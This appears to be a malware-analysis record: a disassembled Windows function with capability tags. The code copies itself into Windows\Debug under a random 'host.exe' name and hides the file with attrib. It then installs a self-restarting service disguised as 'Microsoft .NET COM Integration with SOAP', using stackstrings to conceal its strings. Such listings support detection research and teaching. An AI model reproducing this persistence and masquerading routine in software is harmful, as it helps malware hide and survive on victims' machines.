Function at 0x403166
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403960
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x468
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x364], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x34c], eax
push str.GetModuleFileNameA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x370], eax
push str.GetWindowsDirectoryA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x35c], eax
push str.CopyFileA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x228], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x354], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x36c], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x368], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x350], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x22c], eax
push str.GetLastError
mov ebx, 0x407144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x358], eax
push str.WinExec
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x360], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x33c]
push eax
xor ebx, ebx
push ebx
call dword [ebp - 0x370]
push esi
lea eax, [ebp - 0x224]
push eax
call dword [ebp - 0x35c]
lea edi, [ebp - 0x224]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x403577
mov byte [ebp - 0x3bc], 0x25
mov byte [ebp - 0x3bb], 0x63
mov byte [ebp - 0x3ba], 0x25
mov byte [ebp - 0x3b9], 0x63
mov byte [ebp - 0x3b8], 0x25
mov byte [ebp - 0x3b7], 0x63
mov byte [ebp - 0x3b6], 0x68
mov byte [ebp - 0x3b5], 0x6f
mov byte [ebp - 0x3b4], 0x73
mov byte [ebp - 0x3b3], 0x74
mov byte [ebp - 0x3b2], 0x2e
mov byte [ebp - 0x3b1], 0x65
mov byte [ebp - 0x3b0], 0x78
mov byte [ebp - 0x3af], 0x65
mov byte [ebp - 0x3ae], bl
push 0x1a
call fcn.00403b00
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00403b00
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00403b00
pop ecx
add eax, 0x61
push eax
lea eax, [ebp - 0x3bc]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov byte [ebp - 0x414], 0x5c
mov byte [ebp - 0x413], 0x44
mov byte [ebp - 0x412], 0x65
mov byte [ebp - 0x411], 0x62
mov byte [ebp - 0x410], 0x75
mov byte [ebp - 0x40f], 0x67
mov byte [ebp - 0x40e], 0x5c
mov byte [ebp - 0x40d], bl
lea edi, [ebp - 0x414]
lea edx, [ebp - 0x224]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x40c]
lea edx, [ebp - 0x224]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x33c]
push eax
call dword [ebp - 0x228]
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x33c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x224]
lea edx, [ebp - 0x33c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 5
lea eax, [ebp - 0x33c]
push eax
call fcn.00402c3a
pop ecx
pop ecx
mov byte [ebp - 0x3ac], 0x61
mov byte [ebp - 0x3ab], 0x74
mov byte [ebp - 0x3aa], 0x74
mov byte [ebp - 0x3a9], 0x72
mov byte [ebp - 0x3a8], 0x69
mov byte [ebp - 0x3a7], 0x62
mov byte [ebp - 0x3a6], 0x20
mov byte [ebp - 0x3a5], 0x2b
mov byte [ebp - 0x3a4], 0x61
mov byte [ebp - 0x3a3], 0x20
mov byte [ebp - 0x3a2], 0x2b
mov byte [ebp - 0x3a1], 0x73
mov byte [ebp - 0x3a0], 0x20
mov byte [ebp - 0x39f], 0x2b
mov byte [ebp - 0x39e], 0x68
mov byte [ebp - 0x39d], 0x20
mov byte [ebp - 0x39c], 0x2b
mov byte [ebp - 0x39b], 0x72
mov byte [ebp - 0x39a], 0x20
mov byte [ebp - 0x399], bl
push 0xa
pop ecx
xor eax, eax
lea edi, [ebp - 0x398]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x33c]
lea edx, [ebp - 0x3ac]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea eax, [ebp - 0x3ac]
push eax
call dword [ebp - 0x360]
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [ebp - 0x364]
mov edi, eax
mov dword [ebp - 0x344], edi
cmp edi, ebx
je 0x4038b3
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x33c]
push eax
push 1
pop esi
push esi
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [ebp - 0x1c]
mov dword [ebp - 0x348], eax
push edi
call dword [ebp - 0x22c]
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x418], str.Microsoft_.NET_COM_Integration_with_SOAP
lea eax, [ebp - 0x418]
push eax
push esi
push dword [ebp - 0x348]
call dword [ebp - 0x350]
mov dword [ebp - 0x454], ebx
xor eax, eax
lea edi, [ebp - 0x450]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x450], ebx
mov dword [ebp - 0x454], 0x15180
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x41c], ebx
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x448], 3
lea eax, [ebp - 0x430]
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x44c], ebx
lea eax, [ebp - 0x454]
push eax
push 2
push dword [ebp - 0x348]
call dword [ebp - 0x350]
push dword [ebp - 0x434]
call dword [ebp - 0x368]
cmp dword [ebp - 0x348], ebx
jne 0x4036c3
call dword [ebp - 0x358]
cmp eax, 0x431
jne 0x4036c3
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x344]
call dword [ebp - 0x234]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x4038b3
push ebx
push ebx
push eax
call dword [ebp - 0x230]
push ebx
push ebx
push dword [ebp - 0x348]
call dword [ebp - 0x230]
test eax, eax
je 0x4038b3
mov byte [ebp - 0x478], 0x53
mov byte [ebp - 0x477], 0x59
mov byte [ebp - 0x476], 0x53
mov byte [ebp - 0x475], 0x54
mov byte [ebp - 0x474], 0x45
mov byte [ebp - 0x473], 0x4d
mov byte [ebp - 0x472], 0x5c
mov byte [ebp - 0x471], 0x43
mov byte [ebp - 0x470], 0x75
mov byte [ebp - 0x46f], 0x72
mov byte [ebp - 0x46e], 0x72
mov byte [ebp - 0x46d], 0x65
mov byte [ebp - 0x46c], 0x6e
mov byte [ebp - 0x46b], 0x74
mov byte [ebp - 0x46a], 0x43
mov byte [ebp - 0x469], 0x6f
mov byte [ebp - 0x468], 0x6e
mov byte [ebp - 0x467], 0x74
mov byte [ebp - 0x466], 0x72
mov byte [ebp - 0x465], 0x6f
mov byte [ebp - 0x464], 0x6c
mov byte [ebp - 0x463], 0x53
mov byte [ebp - 0x462], 0x65
mov byte [ebp - 0x461], 0x74
mov byte [ebp - 0x460], 0x5c
mov byte [ebp - 0x45f], 0x53
mov byte [ebp - 0x45e], 0x65
mov byte [ebp - 0x45d], 0x72
mov byte [ebp - 0x45c], 0x76
mov byte [ebp - 0x45b], 0x69
mov byte [ebp - 0x45a], 0x63
mov byte [ebp - 0x459], 0x65
mov byte [ebp - 0x458], 0x73
mov byte [ebp - 0x457], 0x5c
mov byte [ebp - 0x456], bl
lea edi, [ebp - 0x478]
lea edx, [ebp - 0x120]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x120]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x120]
push eax
push closesocket
call dword [ebp - 0x36c]
mov byte [ebp - 0x440], 0x44
mov byte [ebp - 0x43f], 0x65
mov byte [ebp - 0x43e], 0x73
mov byte [ebp - 0x43d], 0x63
mov byte [ebp - 0x43c], 0x72
mov byte [ebp - 0x43b], 0x69
mov byte [ebp - 0x43a], 0x70
mov byte [ebp - 0x439], 0x74
mov byte [ebp - 0x438], 0x69
mov byte [ebp - 0x437], 0x6f
mov byte [ebp - 0x436], 0x6e
mov byte [ebp - 0x435], bl
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push dword [ebp + 0x10]
push 1
push ebx
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x238]
call dword [ebp - 0x354]
or dword [ebp - 4], 0xffffffff
call fcn.004038cd
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret